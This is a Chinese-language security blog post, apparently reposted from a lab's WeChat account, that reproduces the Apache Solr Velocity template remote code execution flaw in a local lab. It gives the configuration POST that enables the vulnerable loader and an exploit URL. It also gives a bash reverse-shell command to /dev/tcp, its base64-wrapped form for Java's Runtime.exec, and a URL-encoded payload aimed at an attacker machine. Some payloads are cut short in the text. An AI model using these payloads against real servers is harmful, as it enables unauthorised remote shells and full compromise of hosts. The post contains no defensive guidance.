前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Solr Velocity模板远程命令执行漏洞+反弹shell

Solr Velocity模板远程命令执行漏洞+反弹shell

作者头像
字节脉搏实验室
修改2020-05-12 17:22:24
1.3K0
修改2020-05-12 17:22:24
举报

作者来自我们:夜行字节(字节脉搏实验室)

这个漏洞出来好几天了一直没有时间进行复现

漏洞需要java的环境,这里我就直接在kali上进行搭建了

环境搭建

首先下载源码

代码语言:javascript
复制
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.tgz

解压之后进入bin目录下,运行

代码语言:javascript
复制
/solr create_core -c alice -d ../example/example-DIH/solr/db -force

这里是新建了一个alice的core,然后启用环境

代码语言:javascript
复制
./solr start -force

默认端口是8983,我们访问这个地址,然后在core admin中找到了alice

每一个我们新建的core都有配置信息

这里我们要修改一下配置,我们要将params.resource.loader.enabled这个参数设置为true,默认为false,才能触发漏洞,post提交下面的内容

代码语言:javascript
复制
{

 "update-queryresponsewriter": {

   "startup": "lazy",

   "name": "velocity",

   "class": "solr.VelocityResponseWriter",

    "template.base.dir":"",

   "solr.resource.loader.enabled": "true",

   "params.resource.loader.enabled": "true"

  }

}

返回200,说明修改成功

漏洞环境就搭建到这里啦

漏洞复现

payload:

代码语言:javascript
复制
http://192.168.43.128:8983/solr/alice/select?q=1&wt=velocity&v.template=custom&v.template.custom

这样就可以执行命令了,github上也有很多利用的脚本

反弹shell

好像和之前泛微oa的命令执行是一样的,利用了getRuntime().exec()这个函数来执行命令,但是这个函数有一些特性,可以看下面的文章和内容Java下奇怪的命令执行:https://mp.weixin.qq.com/s/ZS-hA03ykKleDjgN8oWZDw

所以我们直接执行命令的时候不能使用:

代码语言:javascript
复制
bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1"

而是要利用base64编码:

代码语言:javascript
复制
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}

这里我们来实验一下: 目标机器:192.168.43.128 攻击机器:192.168.43.1

首先在攻击机器上设置nc监听端口

然后将我们反弹shell的bash命令进行base64编码:

然后进行一次url编码

构造后的payload:

代码语言:javascript
复制
%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEvMTEyMzMgMD4mMQ%3d%3d%7d%7c%7bbase64%2

这样我们就能反弹shell了 脚本就不写咯 :)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境搭建
  • 漏洞复现
  • 反弹shell
    • 好像和之前泛微oa的命令执行是一样的,利用了getRuntime().exec()这个函数来执行命令,但是这个函数有一些特性,可以看下面的文章和内容Java下奇怪的命令执行:https://mp.weixin.qq.com/s/ZS-hA03ykKleDjgN8oWZDw
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档